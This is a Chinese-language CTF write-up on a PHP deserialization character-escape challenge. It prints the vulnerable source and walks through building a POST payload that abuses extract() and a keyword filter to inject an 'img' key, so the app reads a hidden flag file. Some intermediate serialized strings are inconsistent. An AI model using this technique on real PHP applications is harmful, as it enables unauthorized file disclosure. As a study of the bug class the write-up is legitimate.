考点:反序列化逃逸
这个题目是一道php代码审计题目,打开就是源码,
<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
需要用到的函数
unset() 函数:用于销毁给定的变量。
implode() 函数返回由数组元素组合成的字符串。
extract()
extract() 函数从数组中将变量导入到当前的符号表。
该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。
该函数返回成功设置的变量数目。
2.根据代码提示,查看f=phpinfo
自动包含了文件/d0g3_f1ag.php,那么我们就需要查看这个文件
3.继续看代码,最后一个语句有函数file_get_contents()就是查看文件,我们就需要使里面的参数为该php文件
看值$userinfo,是对_SESSION变量序列化后过滤再反序列化,存在反序列化字符逃逸漏洞。
反序列化字符逃逸,分为两类一类是字符增多,一类是减少,
本题利用的是一个过滤函数,所以是减少类型的
反序列化字符逃逸的漏洞本质就是改变序列化字符串的长短,在序列化的对象反序列化过程中,参数是严谨的,确定了字符的长度,会自动往后找补,并且会自动将{}以外的内容抛弃
4.构造payload:
_SESSION变量是通过post传递的字符串,上面的函数对该值进行了unset()销毁和extract()重新赋值
a.传值应为$_SESSION[q]=p
序列化的值为 a:1{s:q的位数:"q";s:p的位数:"p"}
因为之后的函数先进行序列化再反序列化,利用字符串逃逸漏洞,就需要p的值类序列化对象
b. p中含有N;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
(根据读文件函数需要读img的值,ZDBnM19mMWFnLnBocA==是d0g3_flag.php的base64编码)
c.那么原来的对象序列化后的值为:
a:1{s:q的位数:"q";s:后面值的位数:"N;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}" }
这时候要想着怎么利用过滤函数,我们过滤什么呢,因为$_SESSION的值是可控的,我们尽量过滤到明确有的,我们可以过滤q,即令q=flag等
d.过滤后就成了a:1{s:q:" ";s:后面值的位数:"N;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}" }
e.要令img成为独立的键值对,那么前面也要构造一个键值对
s:q:" ";s:后面值的位数:"N;
随便令N=;s:1:1 s:q:" ";s:后面值的位数:";s:1:1;
f. 那么
$_SESSION[flag]=;s:1:1;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
序列化后:
{s:4:"flag";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";} "}
过滤后:
{s:4:" ";s:46:";s:1:1;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";} "}(反序列化后扔掉)
发现s:4:" ";s:46: "中的4应该为7,这个好改,我们把flag改成flagphp正好七个
所以 $_SESSION[flagphp]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
_SESSION[flagphp]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
同理只需改动最后的base64,和数目即可
_SESSION[flagphp]=;s:1:"1";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}